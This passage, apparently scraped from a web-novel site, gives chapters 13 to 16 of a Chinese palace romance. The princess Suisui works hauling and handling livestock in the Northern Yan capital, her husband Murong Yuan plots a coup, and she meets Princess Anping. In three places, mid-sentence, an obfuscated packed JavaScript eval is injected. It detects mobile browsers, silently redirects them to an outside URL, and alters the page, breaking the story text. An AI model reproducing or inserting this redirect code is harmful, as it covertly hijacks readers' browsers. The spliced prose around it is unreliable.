雨后天色空濛,宫墙上柳色葱茏,在朱红城墙上掀起一阵阵绿涛,拂过心尖,叫人心软难耐。 宫门外早有兵马整备待发,是慕容远带去修祭坛的三千玄武军。 大军之前,一人一马迎风而立。 宫墙遮挡,穗穗只看得见那人的侧脸,是一位姑娘。蓬勃乌丝用一根红绦高束在脑后,一手持马缰,一手执柳鞭,玉颈高昂,像一只不容亵渎的天鹅。 她穿着玄武军里最常见的玄色劲服,最压抑的颜色,在她身上,却明媚得过分。 几乎瞬间,穗穗意识到,这就是安平郡主,那位活在传闻中的、慕容远的“良配”。 这是穗穗第一次看见夫君的心上人。 在此之前,她偷偷幻想过无数次安平郡主的模样。 巾帼英雄、将军世家、知书达理等等溢美之词组合在一起,她已有预料,安平郡主会是一位耀眼夺目、英姿飒爽的绝代佳人。 今天见到,她发现还不止于此。 安平郡主太优秀了,那种不可攀折的仙人之姿,远非常人能肖想。只有慕容远这样的天之骄子能配。而慕容远,也确实值得这样的姑娘。 穗穗心里酸胀得厉害,撇着嘴垂下头,不愿再去看她。 静妃在身边欲言又止,不知该说什么。 直到宫门打开,慕容远神容整肃,气宇轩昂走到大军之前。穗穗终究还是忍不住,抬起眼帘。 她看见慕容远在安平郡主身边停下,脸上带起笑意。 简单交谈几句之后,他翻身上马,军旗高扬,在响彻天际的呼和声中,带着玄武军扬长而去。 他号令大军的模样和穗穗想的一样,英姿勃发,威武不凡,只是, 自始至终,没有向她这处看一眼。 回去时,静妃安慰她说,这次被罚去平城,是太子暗算,慕容远不能落于下风,因此才没有与她依依惜别,让人拿住话柄。 这借口过于牵强,连静妃都说不下去。 慕容远对皇位的争夺,穗穗隐约能感觉到。平心而论,他这个人,除了待她刻薄了一些,其他方面,都完美符合一位优秀帝王应该具有的品质。 她真心认为,慕容远值得最好的,包括他的伴侣,也应该是这世上最好的女娘。 可私心里,她又不希望慕容远那么强大。他强大,就意味着她的父皇长兄和阿姐,要过胆战心惊、如履薄冰的苦日子。 到时候若是真的打起仗来,他难道还会顾及他有一位南楚的婕妤吗。 出宫之后,冯馆主递来消息,请穗穗去城外猎场上工。 她用剩下的钱买了一头小牛,缓缓穿过偌大的上京城,在这个遍地蛮语的异国他乡,开启了全新的生活。 13.第 13 章 夏季的平城开满槐花,清风拂过,飘来甘甜花香。 慕容远站在行宫的百级阶台上。他的脚下,参天槐树沿着中轴线铺排,连绵绿荫,夹杂着细碎的白色花瓣,纷纷如雪,宛如有只小猫儿在他心尖上挠了一下。 中轴线的尽头,是平城祭坛,远眺去,依稀可见挑夫负卒忙碌的身影。夕阳垂落,又是一番烟火人间的景色。 据说,平城是风水宝地。开国先祖曾在这里建坛风铲。 不过,此地多风沙,上京城的人不爱来往。若非今岁为父王五十大寿,慕容远被调来重修祭坛,也难见到如此盛景。 身后传来簌簌风声,慕容远耳尖微动,便听惊风的声音响起, “陛下和太子将兵权死死攥在手里,属下无能,耽误许久,才在禁军中挑出这三千死士。身世倒是清白干净,就怕区区三千人马,不足以成事。” 闻言,慕容远面色未动。惊风担忧的试探半晌,小心翼翼的将三千禁军的籍簿呈上。 他知道自家主子在谋划什么,只是陛下防备得厉害,只给了三千兵马,怕是连小小的平城行宫都攻打不下,更别说杀出平城、杀到上京了, “亏太子想得出陛下大寿这个借口,美名让他得了,吃苦受累的活却让三爷摊上。” 惊风嘀嘀咕咕抱怨,慕容远倒是沉稳如初,接过籍簿,直接揣进袖兜, “我这位好兄长,是在心疼本王劳累,让本王来平城赏景放松,本王怎么能不感谢他的美意呢。” 他说这话时,微微勾起唇角,一派云淡风轻的模样,就连惊风都忍不住替他着急。 虽说被调来平城算不得致命一击,但是,三爷要在这里待上大半年。这么长的时间,但凡上京突发要务,三爷不知要错过多少。 “行了,事已至此,也不是无路可走,” 慕容远似是看出他的腹诽,和颜悦色拍拍他的肩膀, “你去行宫门口接客,我们的救兵该到了。” “救兵?” 惊风话音未落,来客已经自己走进来,中气十足的笑音由远及近,穿过中庭, “王爷,末将给你寻得这处宫殿如何?” 来人停在玉石阶下,高大敦实的身姿,宛如一口洪钟,往院中站定,好似连风都定住。 慕容远转身向他拱拱手,平淡的面目终于出现了一抹亮色, “莫将军信中所言不差,五月吹雪,确是一大奇观。” 惊风在看清来人之后,惊讶得忘记收起神情。 只见来人青天白日依旧穿着北燕传统的战袍,玄铁盔甲,绿纹内衬缝着金线椽边,裸露胸膛和左臂,露出刺绘花纹的坚实肌肉。 没有人会不认得他,平城守将莫罕,好战如命的大将军。 惊风恍然记起,出发前,三爷确实和莫罕联系过。当时,他单纯的以为两人只是接洽行程,今日一瞧,似乎不止于此。 面对调离上京这件分外被动的事情,三爷似乎早已做了别的安排。 莫罕站到慕容远身边,顺着他的视线,草草远眺一眼,露出了然笑意, “看来王爷已经发现了,末将为王爷准备的大礼。” 此时,天光微暗,脚下城池亮起星星点点。慕容远视线尽头的那座祭坛,褪去白日的躁动,才见其后藏着一块开阔沙地,炊烟营帐,是平城守军军营所在。 慕容远舒展眉宇,满目欣慰神色。他哪里是在赏景,分明是像猛兽一样,凶狠的审视着自己的爪牙。 早在奔赴平城之前,他就与莫罕达成一致,他借用平城守军杀出平城、掌握大权,届时将挑起两国战争,助莫罕拿下军功。 太子以为是将他调离权力之巅,殊不知,只是让他距离兵马更近。 “答应王爷的三万铁骑,只多不少。” 莫罕得意挑眉,觑了慕容远一眼, “不过,丑话说在前头,若王爷夺权之后,不能遵守约定、起兵伐楚,本将军可不会听之任之。” 慕容远了然拱手, “莫将军是秉性忠直之人,此番协助本王壮大北燕,可算是功德无量。” 莫罕笑得下巴堆肉,“打住打住,若非陛下老儿这些年迟迟不肯开战,本将军早就在战场上杀敌无数了,用不着王爷恭维我。” 说着,莫罕大笑抚掌,拍在慕容远后背,相携往屋内走去。 “过不了多久,太子就要从西戎回京,我们得尽快议定计划。” 残阳似血,细白槐花被染得血红,在静谧平和的晚风中,发出阵阵回响。 ==== 酷暑天,上京城的富贵人家大多在城郊有避暑的行馆,举家出游,免不了盈箱累箧,车马成群。 这时府丁往往是不够的,便会寻武馆的人帮忙搬运行李,同时也能护卫一家安全。 穗穗近来得了不少这样的差事,频繁往返城郊,小赚一笔,还将北燕人玩乐的花样瞧了个遍。 如她所料,北燕人尚武好斗,凡出游,必有骑猎射御。箭矢刀枪都需要人布置,她大有用武之地。 而且,好武之人脾性直,这些主家不难伺候,放乖觉些,甚至时有赏金漏下,比做工的酬金还丰盛。 令她为难的是北燕的气候。太阳毒辣,一丝风也无,负重行走在骄阳下,就像被大火炙烤着,比当初在南楚皇宫搬运过脏衣桶,还要难熬许多。 高府出游这天,是北燕入夏以来最热的一天。这户人家好骑射,拓了射御场,置办上箭靶草垛。 穗穗负责照料射猎场,从山坳里将两捆扎扎实实的草垛背来行馆时,已经大汗淋漓,青丝黏在鬓边,小脸花得不能看。 北燕不像南楚皇宫那样,四处都有水缸活水,洗漱要走到府外的小溪去。 穗穗倚在枯草堆上,顾不得草根扎人,囫囵用粗麻袖口抹了把汗渍,掏出那把素纹匕首,割断乱枝,将草垛压得更紧实些。 北燕人粗蛮大力,弓箭有千斤重,她将草垛压密实,这样才不会被乱箭轻易洞穿伤人。 虽然这项活计比预料的困难,但她还是一点都没有懈怠,尽力做到最好。 穗穗满意的拍拍掌心,环顾一圈,又用刀尖将横出的枝节裁剪干净。正要离开,突然间,一声破云惊响划破长空。 回头看去,一支箭簇,正向着她的面门飞旋而来,箭尖映照着骄阳青光,鸦色箭羽在空中扑簌。 穗穗本能挥动匕首,长箭几乎擦着她的腰侧划过,一头扎进了身边的草垛里。 不敢想,要是穗穗反应慢上片刻,会是什么下场。 这些北燕蛮子常年在马背上,笃信生死有命、富贵在天,寻常游乐玩闹都会赌上身家性命,从来不会顾惜。 穗穗惊魂未定、激愤交加,举目望向那人,欲要说理,那人却连马都不下,执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667139|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞭停于几步开外,目光上下打量着规整如初的草垛,留给穗穗一袋钱并着一句话, “居然能防住本督的箭,活儿干得不错。” 毒辣日光模糊了眼前人的身影,穗穗恍惚许久,回神时,只剩空旷草地上躺着的一袋银钱。 鼓鼓囊囊的,就连钱袋子上的团福花纹、都在散发着金灿灿的富贵光芒。 穗穗心里堵着一口气,哼了一声,原是不想接茬,耐不住那袋钱实在太灼目,犹豫许久,她还是走去捡了起来。 人总不能为了逞一时之快,连救命钱都不要了。 况且,穗穗将钱袋子掂在手里,这袋钱她忙活半年都不见得赚得回来。 没想到会以这样的方式赚到一笔横财,钱币在耳边碰撞得叮咚响,穗穗心里又高兴,又不是滋味。 有些人命真好,为搏一乐,随手一挥就是寻常人遥望不及的富贵。 而她呢,说起来是南楚公主,是北燕婕妤,实际上,不过是拾人牙慧的负卒。没有人能帮她,她只能靠自己。 收拾好射箭场,穗穗坐在树荫下等候。日影透过林隙撒下,开阔的草地上,时有微风吹来,热辣,但胜在清静无人。 临近黄昏,一天的活计结束,穗穗正要去领工钱,忽然来了一队人。 之前拿箭吓穗穗的公子哥去而复返,颐指气使朝穗穗点了点,“就是她,这小姑娘活干得确实不错,草垛扎得很好。” 现下阳光退去,瞧见他的正脸了,肥头大耳,满脸堆肉,实在是很难让人产生好感。 他的身边事高府管事,听见自家主子都认可穗穗的能力,当即如见救星,迫不及待的上前拦住穗穗, “太好了,府上人手紧缺,女郎君如此能干,一定要留下帮忙。” 穗穗往他身后张望一眼,见是五六名武馆的小厮,说是高家临时起意、打算去山坳扎营,一时之间凑不齐干活的人手。 “工钱都好说,” 高府管事笑眯眯的伸出三根指头,见穗穗犹豫,又忙不迭加到四根, “四倍工钱,女郎君意下如何?” 四倍?这要是拒绝,那真是天理难容。 穗穗当即领了差事,跟着其余人,往关押牲畜的窝棚走。 夕阳夕照,廊檐甬道金灿灿的,前路一片光明。 穗穗心里美滋滋,但跟在她身边的人却似乎不太高兴。 打从方才见面,这位灰麻短袍的小哥看她的眼神就充满怨念,此刻主家走不在了,便有意无意调笑道, “晌午时,我看见高督察给姑娘赏金了,能得高督察青眼,姑娘前途无量。” 这话听着就是一大股酸味。穗穗笑了笑,没应。 小哥瞧她乖巧听话,一幅任人摆布的模样,得寸进尺又道,“姑娘扎个草垛都能得督察大笔赏金,驭兽肯定也不在话下。我们这些人拿畜生一点办法都没有,一会儿就全仰仗姑娘了。” 穗穗只是表面不争不抢,其实心里跟明镜似的。 不就是见她拿了赏钱,心中不快,想磋磨她干活么? 穗穗没急着反抗,先是去窝棚观察了一圈牲口。 豪门出游,单靠人力挑运自然不够。窝棚里关的就是运货的骡子黄牛。 这些倒是不难办。穗穗冷声问了句,“需要把它们赶到哪里?” 小哥目露挑衅, “去后门上货,你行吗?” 14.第 14 章 穗穗顺手拿过柴门边挂的鞭条,迎着空气,往柴门前的空地挥下一鞭。 不至惊悚,却又不失威严。被解了缰绳的牲口,像是通人性一般,乖乖向着声音来源走去。 寻常需要大费周折才能赶出柴门,在穗穗手里,只需要简单的一次挥鞭。 小哥有些震惊,但很快又说服自己,不过是巧合罢了,要将这些牲口赶到后门去,那才是真正的大麻烦。 但穗穗似乎丝毫没有感觉到麻烦,走在牲口前面,不断往前方的空地挥鞭,这些牲口居然自觉排队,乖乖着她走。 都是上了年纪的老牛,估计是平时在主家训练有素,倒也没什么稀奇的。 小哥跟在后面,看得清清楚楚,队伍里一只初生牛犊,可不如其他牲口循规蹈矩。 一会儿嗅嗅路边的杂草,一会儿用牛角撞撞骡子,眼见着小牛犊越过队伍,小哥悄悄勾起嘴角。 小牛犊身子矫健,速度极快,原以为穗穗要被撞个人仰马翻,谁曾想,她居然像身后长耳朵,在牛犊距离自己几寸远时,猛然闪身,让牛犊一头栽进她身前的灌丛里。 小牛犊顶了满头枝叶碎花,懵懵回身。眨眼功夫,穗穗已经挥动匕首,割下一袭裙布,招摇在它眼前。 小牛犊被纱裙晃得神志不清,向着穗穗猛冲。穗穗手起刀落,砍掉它背部累赘的绳索,身法轻快如一片云彩,翻飞飘摇,不知怎的,竟跃上牛背,径直骑在小牛犊身上。 “乖宝,那就你来带路吧。” 她收刀入鞘,亲昵的摸了摸小牛犊初生的牛角,眉开眼笑,双脚一蹬,向着身侧空地落下一鞭。 身后的老牛骡子自觉跟着这一人一牛,缓缓往后门走去。 原先想看她好戏的小哥,此刻已经看呆在原地。 能在武馆任职的,肯定身手不差。他知道这小姑娘力气不小,却不知道,她不仅孔武有力,身法还极其灵活,是他在北燕人身上从来没见过的灵活。 看着穗穗兴高采烈的骑在小牛犊身上,小哥不禁深深怀疑,南楚莫不是有什么邪术不成? 穗穗察觉到身后犹豫的脚步,抿唇轻笑。北燕人习惯了对付高大猛兽,反倒是拿这种小牲畜没有办法,觉得不可思议。但其实,她们南楚家家户户的放牛娃都会这些本领。 悬日低垂,将行馆染成金灿灿的一片,在穗穗和小牛犊身上镀上一层金光。 看着越来越近的后门,穗穗就感觉四倍工钱在向她招手,心情大好,顺手折了柳叶,给小牛犊编了只草环。 行到后门时,所有人看见穗穗骑着牛犊走来,都难掩震惊。 有消息灵通的,知道穗穗在冯馆主手下当差,忍不住夸赞道,“冯馆主慧眼识珠,这小牛犊寻常人拉都拉不住,女郎君竟能驾驭,堪称驭兽奇才。” 穗穗跳下牛背,一边解释说,都是寻常功夫,一边帮忙装运货物。 匕首在她掌心闪耀着银花花的光芒,切割、捆扎、搬运,一盏茶的功夫,货物已经整整齐齐的码放在牲口身上。 尔后又有另外几人驭兽前来,皆是人仰兽翻,乌烟瘴气,不得不求助穗穗。 穗穗心情颇好,没有推辞,接过缰绳,帮他们赶牛装货,一边与这些人交谈,才知大家自上京城各个武馆,彼此间并不认识。 有位面善的大叔同她解释,“上京城暑气重,每年入夏,便是这些高门出游的高峰,各府管事奔走在各家武馆,四处请人帮忙,经常人手短缺。” “原来如此。”穗穗低声应着,心里朦胧有了些想法。 她正忙着装运最后一袋行李,远处突然传来一声高呼,“那个谁,快来,快来帮忙!” 声音落下,有人急切地推了推穗穗的肩膀,她抬起头,就见一直马队跌跌撞撞向后门奔来,缰绳拖在地上,一看就是失去了控制。 大家都以为穗穗驭兽有方,赶忙招呼她去牵马。 殊不知,其他牲口都好说,偏生马匹,她不行,她不善骑马。 上学那会儿,同窗家里都有马场,有汗血宝马供以学习射御,独独她没有。 骑马这事,没有别的诀窍,全靠多多练习。她没得练,自然表现不佳,到那年年尾,甚至连上马都困难。 遭到宁国公严厉责骂之后,越发害怕。有次险些从马背上摔下去之后,便再也不敢碰骑术。 此时天光已暗,夜色里传来马匹喘气和嘶鸣,远看去,就像一队不可名状的怪物。 穗穗本能退后一步,却被身后不知实情的伙计合力推了出去。 “我不行……” 马蹄声震耳欲聋,穗穗的声音全然被掩盖。话未落尽,马缰已经被强行塞进她的手里,耳边传来不知谁的催促, “快呀!快拉住!” 马尾鬃毛的味道钻进鼻尖,是熟悉的令人害怕的味道,穗穗好像回到了年少时那场颜面尽失的射御考核,恍惚中,只听见了“拉住”一个号令。 夜色里,她本能抬手,握上一根粗糙扎手的绳索,尚未看清攀住了什么,便被强大的力道拖着飞了出去。 身后传来倒吸冷气的声音。 众人这下终于明白,这位女郎君,是真的不会对付马匹! 所有人拔腿追着马队,七手八脚想要拉住乱窜的马匹。 可是两条腿哪里跑得过四条腿。也不知穗穗攀上了哪处要害,马匹受惊癫狂,越过门槛,径直冲出后门。 主家的行李被撂翻一地,眼看着就要冲上街道、撞上行人,千钧一发之际,守在后门的两名府丁冒险挡在马前,拦住了发狂的马匹。 穗穗从马匹上滑下来时,已经双腿瘫软,直接跪坐在地上。 很快,高府管事赶来,看见满地狼藉,劈头盖脸一顿痛骂, “我信任你,才把这么重要的工作交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680465|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你,结果你就这样回报我的?简直太让我失望了!” 穗穗心里委屈,驭马本也不是她的工作,她也遭受了无妄之灾。 原想自认倒霉,大不了不要工钱了,可管事又说,“这一地的行李,女郎君得赔偿。老朽回到上京城就去找冯馆主,贵馆人才辈出,我高府以后都不会再招惹。” 冯馆主好心为她介绍活计,她不能添乱。穗穗顾不得为自己辩解,不住哀求管事, “阁下行行好,是小女无能闯祸,需要如何赔偿小女都会负担,还请不要迁怒武馆,此事与冯馆主无关。” 管事这段时间为了出游,忙得天旋地转,心里正窝了一团火气,哪里肯轻易罢休,任穗穗又是鞠躬又是磕头,丝毫不为所动。 同伴们立在院墙下,不愿得罪高府,皆都不敢吭声。 好心办坏事,穗穗心绪瞬间低落。凉凉月光铺在她跟前,她闷垂小脸跪在月光下,悲哀的想着该怎么跟冯馆主解释。 恰在此时,一道醇厚的声音穿过夜色,落在耳畔, “不是这位女郎君的错。管事交代她驭兽,她完成得很好,赶马本就不在她的职责范围,管事莫要牵连无辜。” 穗穗的心声被这个陌生人说了出来,她怔了一瞬,懵懵回头,看见停在院墙外的一顶软轿。 雪白的罩面,泛起星星闪闪的银光,极尽低调的装潢,却掩不住轿身散发的通天贵气。 轿子里的人轻轻揭开纱帘一角,露出一轮不似北燕人的温润侧颜。隔着遥远的距离,穗穗看不清他的面貌,却无端感觉他看了自己一眼,目光是温柔带笑的。 他提点管事,“天气酷热难耐,高府举家出游,奢侈享受,这些人却得为此受累受苦。管事若是再苛责他们,怕是有违陛下仁义治国之心了。” 高府管事认得来人,扑通一声跪在轿边,呜呼哀哉求饶。 穗穗这才逃过一劫。 回到上京,穗穗向冯馆主交代了事情全部经过。 冯馆主有着出乎意料的大度,只说,“高家本就不是善茬,得罪了便得罪了。” 许是他与高家有什么恩怨吧。穗穗问冯馆主, “我听其他伙计说,驭兽的工钱要远高于负卒。此话当真?” 冯馆主猜出她的想法,“前者只是简单出力,后者还要和牲口打交道,自然不能等同。女郎君是想去各府驭兽赚钱?” 穗穗点头。 不止如此。她问过了,上京城没有专门从事驭兽的商队,都是来武馆请人,十分麻烦。 她在想,能不能自己办一个商队,专门承接高门驭兽的活计。 冯馆主提醒她,“女郎君身法灵活,等闲牲口不在话下。只是北燕人生长在马背上,最常见的还是马匹,依着女郎君的骑术……” 这确实有些麻烦。若她想依靠驭兽赚钱,便逃不开最害怕的驭马一事。 15.第 15 章 穗穗向冯馆主说请,冯馆主格外开恩,允她留在武馆偷师学习骑马。 从酷暑到初秋,穗穗往武馆走动得愈发频繁,每每回到王府,身上总是青一块紫一块,脸上的笑容却多起来。 到晚间时,穗穗最喜欢抬一张藤椅,坐在廊檐下。晚风吹拂碎发,将臂弯里一袋袋银钱的金属味道送到鼻尖。 她捧着沉甸甸的钱袋子数了又数,反复计算还要多久才能攒够娘亲的要钱。 春杏瞧着她的模样,忍不住笑叹道, “人都说,一入侯门深似海。奴瞧着公主,成亲之后却越发自由了,比待嫁闺中时还要快活不少。” “你这又是从哪本话本子看来的闲话?” 穗穗眨眼思索片刻,也自知确实得了不少便利,笑嘻嘻的吐吐舌头, “如今想来,慕容远负心刻薄,也不尽然是坏事。我们互不打扰,挺好的。” 几月来,这还是穗穗头一次提起慕容远,连春杏都忍不住揶揄她, “难为公主还记得自己有位夫君,咱们好歹在人家地盘上,是不是太没存在感了。” 如此说来,自上次为皇后娘娘庆生之后,确实很久没有入宫看望了。 “是不是快到十五了?我们准备准备,进宫拜望。” 虽然同慕容远无甚感情,但是身为婕妤,该有的礼数不能丢,不能让北燕人看轻了南楚。 主仆两正筹划着这事,第二天,宫里的请帖就递来王府,说是明日休沐,皇后娘娘请宋婕妤进宫小聚。 天已转凉,穗穗挑了件低调的秋色坎肩小袄,提着上京城时兴的桂花糕,高高兴兴往宫里去。 到后宫时,众女眷聚在御花园旁侧的凤台上,有席案有纱幔,歌舞佳肴,说说笑笑。 穗穗走去一瞧,才见台下拓了方草场,置上箭靶草垛,正在比赛射箭。 “朝临公主来得真巧,正是精彩的时候,快来本宫这儿坐。” 皇后娘娘放下手里的瓜子,殷切的指了指身边一张空席案,显然是特意为她留的位置。 穗穗将糕点递给宫人,在众女眷的注视中,规规矩矩坐了过去。 “这是我们北燕最受欢迎的比赛,场下都是上京城响当当的勇士,他们手里的弓都有千斤重。” 皇后热心的给穗穗讲起规则。不过,穗穗这几个月在高门大户里做负卒,已经观赏过不少射箭比赛,早已对规则烂熟于胸。 譬如,两人为一组,十支为一轮,譬如,不仅要射中靶心,还不能被对手将箭破开,她全都清楚。 那些千斤重的弓于她不算难事,唯一困难的,是得骑在马上。 所以,她只有眼馋的份,没法亲自上场。也因此,她对射猎场上,那些能骑射自如的好汉,都由衷钦佩。 不管他们是哪国人,会她不会的技能,都值得她真心实意的鼓掌。 穗穗是个小武痴,观赏起比赛,便专心实意,目不转睛,不肯放过任何细节。 皇后见她劲头十足,鼓掌鼓得手心通红,心中为自己这番安排感到满意,又忍不住夸耀起来, “北燕好玩之事数不胜数,朝临公主能留在北燕,实在是有福。” 穗穗不想影响观看比赛的心情,只是勾了勾唇。 倒是皇后席案的另一侧,传来一声嗤笑, “南楚人生性胆小,宋婕妤怕是连弓箭都没见过吧。母后还是少邀请她观赛,可别把人家公主吓破了胆。” 这声音熟悉得不能再熟悉,不消看都知道,是北燕皇室趾高气昂的小公主慕容清。 她将穗穗上下打量一通,见穗穗宛如出游孩童,心里越发觉得穗穗没见过世面,不屑之情呼之欲出。 穗穗只是谦逊低调,却不是任人欺凌。慕容清看不上南楚,她也没有忍让的道理, “七公主所言差矣,南楚射御技艺源远流长,昔者盘古开天地便藏一神弓于南楚九曲山脉,近来也有石崇桓文等神射手天下闻名。真要比赛射箭,我南楚儿郎不输北燕。” 本来就是,射箭又不是单纯比赛力气,目力巧劲身法,缺一不可。她们南楚不见得比北燕逊色。 穗穗越想越觉得有理,悄悄嘟了嘟嘴,像是在为自己鼓劲。 许久,席上都无人搭话。穗穗这才意识到,当着北燕众女眷的面逞口舌之快,还是欠妥当。 幸而皇后娘娘体面,未深究她的言语,只笑说,“朝临公主对射御如此感兴趣,一定不能错过我们的冬猎。陛下每年都会开国库,拿出不少宝弓赏玩,还有数不尽的彩头。到时候,祭坛修缮完毕,阿远正好能带公主好好玩玩。” 且不说慕容远愿不愿意带她去冬猎,此时距离冬季还有三月余,谁知道会不会横生变数。穗穗笑得勉强。 她还没开口,反倒是慕容清不乐意了,秀面一扭,向着另一侧撒娇道, “挽风姐姐,每年冬猎的彩头都是你的,你今年可不能让给别人。” 被慕容清挡住的佳人应了句什么,穗穗没太听清,她的耳边早已炸开一声嗡鸣。 原来,安平郡主也在席上! 从前,她只在别人的言辞里了解过安平郡主,最多不过在宫墙上远远的看过一眼。 而眼下,她们同在一场席上,中间只隔着两张席案、一步之遥。 一瞬间,穗穗慌张得手足无措,如坐针扎。 她忍不住想,她方才所有的言谈举止,是不是全部都让安平郡主看在了眼里? 她会怎么想她?在场所有人,会怎么想她们两? 她忍不住想探头看看安平郡主。她还从来没有如此近距离的接触过安平郡主,她很想看看,夫君心爱的姑娘究竟有多貌美。 可小女娘那该死的、别扭的自尊,不允许她主动,好像她率先递去目光,就算她认输似的。 周遭交谈的声音刻意压低许多,就像千万只蚂蚁在啃食叫嚣,越发显得穗穗呆板僵硬。 她完全不会应付这种场面,只能任由议论声音针扎一样充斥在耳畔。 就在这时,一道令人舒心的嗓音在焦灼的空气中响起,安平郡主主动开口, “七公主,比试讲究的是公平公正,何来让人一说。你这不是看不起宋婕妤,倒是看不我了。” 这声音轻柔如水,沉稳安心。穗穗不禁懵懂抬头,正撞见安平郡主一双笑眼,向自己看来, 明艳的眸子,挺翘的鼻梁,舒展的粉唇,每一处都恰到好处,恰到好处的让人舒心。 她向着穗穗微微勾唇,“南楚不乏令人尊重的对手,宋婕妤对冬猎感兴趣,我们自然要好好比试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694356|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场。” 安平郡主说这话时,浓密纤长的睫毛下,眼眸锃亮含光,笑意大气飒爽,好似三月春风,松间清泉,真真像是白月光一般的存在。 没有虚伪推脱,没有暗讽嘲弄,她大大方方的将两国的较量放到台面上来,光明磊落,像个真正的战士。 如此洒脱,如此从容,穗穗只有羡慕的份,一句话都说不出来。 皇后娘娘呵呵笑了两声,改换话题,又说起过些日子的中秋节, “今年中秋,阿远孤身异地,冷清得很。朝临公主若是方便,不如替本宫去看看阿远。一别三月有余,不知他安好与否。” 皇后娘娘致力于撮合穗穗和慕容远。放在平常,穗穗还能说些讨巧话应付过去。 今日,安平郡主这位“正宫”在现场,她心乱如麻,不敢接招,只好假装听不见皇后的叹息,囫囵咽着汤饼,将脑袋埋进碗里。 安平郡主瞧见穗穗的窘迫模样,莞尔轻笑,再度替她解围, “小夫妻之间的私事,娘娘拿到台面上说,看看都把宋婕妤羞成什么样了。娘娘还是别操心了,儿孙自有儿孙福。” 穗穗很想告诉安平郡主,她不是羞,她和慕容远之间没有什么。只是对上安平郡主轻轻眨动的狡黠眸子时,她一个字都说不出口。 面对安平郡主如此善意,她愈发觉得自己就是个面目丑陋的小偷。 皇后娘娘感慨了几句年老不中用,倒是没再强迫穗穗去平城。 散席后,女眷们相携离去,穗穗心绪不佳,磨磨蹭蹭留在最后。 走下高台,出乎意料的看见安平郡主倚在斜栏边,像是在等自己。 “宋婕妤。” 她摇摇招手,明媚面容映照骄阳,美得就像在发光。 穗穗心里一紧,顿下步子,见是躲不过,索性牙一咬、心一横,快步走去,一股脑都说了出来, “安平郡主,是我逼三爷,我以救命之恩要挟他结婚,实际上,他根本不承认我的身份,我和他之间也什么都没发生。” 穗穗深吸一口气。天知道,当着夫君心上人的面说出实情,有多困难!仅仅只是这样简单的一句话,她的眼泪都快落下来。 可她得说。哪怕慕容远对她的态度已经分明,她也想亲口向安平郡主澄清。她们南楚姑娘,永远堂堂正正,绝不让人看轻。 安平郡主没有预料之中的欣喜,也没有恼怒指责,她平静温和的看着她,抬手拂去她发顶的飞絮,问她, “宋婕妤,你想不想去平城?” 去平城?为什么要问她? 穗穗懵了片刻,很快,便从安平郡主邀请的神色里朦胧意识到了什么。 她嗫嚅着嘴唇,还没问出口,安平郡主已经坦然道来, “我想去。” 她想去,安平郡主想去,但她没有理由,所以她需要邀请穗穗一起去。 反应过来的瞬间,一股灼烧热流涌上穗穗的眼眶,鼻尖酸得发疼。 原来,嫁给一位不爱自己的夫君,是这样的感觉,心酸的,卑微的,亲眼见证着夫君和旁的姑娘互相爱慕。这还不够,还要当他二人的鹊桥。 她可怜自己,又有些为慕容远高兴。 他比她幸运。至少他喜欢的姑娘,也是在意他的。 16.第 16 章 穗穗答应了和安平郡主一起去平城看望慕容远。 她没有身份拒绝,况且,她也不想拒绝。安平郡主如此坦率善良,如此明媚耀眼,穗穗觉得所有女娘间的腌臜小心思,都不应该存在在她的身边。 隔天,穗穗看望静妃娘娘,想跟她学做几道慕容远爱吃的月饼糕点,带去平城。 说是学做月饼,实际又是静妃为穗穗准备了一桌子美食,还吊了梨汤燕窝。 北燕的秋来势凶猛,往日绿树丛荫的春和轩也撑不过秋风凛冽,黄叶零落,萧萧瑟瑟。 两名宫人在门前洒扫落叶,回响声落在院内格外凄凉。 穗穗坐在廊檐下发呆,静妃唤了好几声,她才朦胧回神,见春和轩光景昏暗,人影也无,忍不住小小声道了句, “中秋节三爷也不知回京瞧瞧,娘娘这么心疼他,也未见得他有什么表示。” 她没有资格指摘慕容远,只敢借着静妃的名目酸溜溜的抱怨。 静妃笑叹一声,塞给她一只热乎乎的汤盅,“当年阿远被拐去南楚时,他的娘亲抛下他,独自脱逃。所以这孩子自小就亲缘淡,逢年过节,对皇后娘娘没有一句问候,给我也不过是寥寥几笔书信,自然也不会想起家里还有一位。” 穗穗晓得静妃是在安慰自己,嘟嘟囔囔道,“旁人也就算了,娘娘对他这么好,他居然还不领情。” 可真是铁石心肠。当初她救他,妄图挟恩求婚,如今看来,实在是大错特错。 静妃语气平静,许是习惯了慕容远的疏离,甚至忍不住调侃,“做娘的总不能和毛头小子一般计较。况且,养在膝下的孩子,他有没有心,我能不知道吗?” 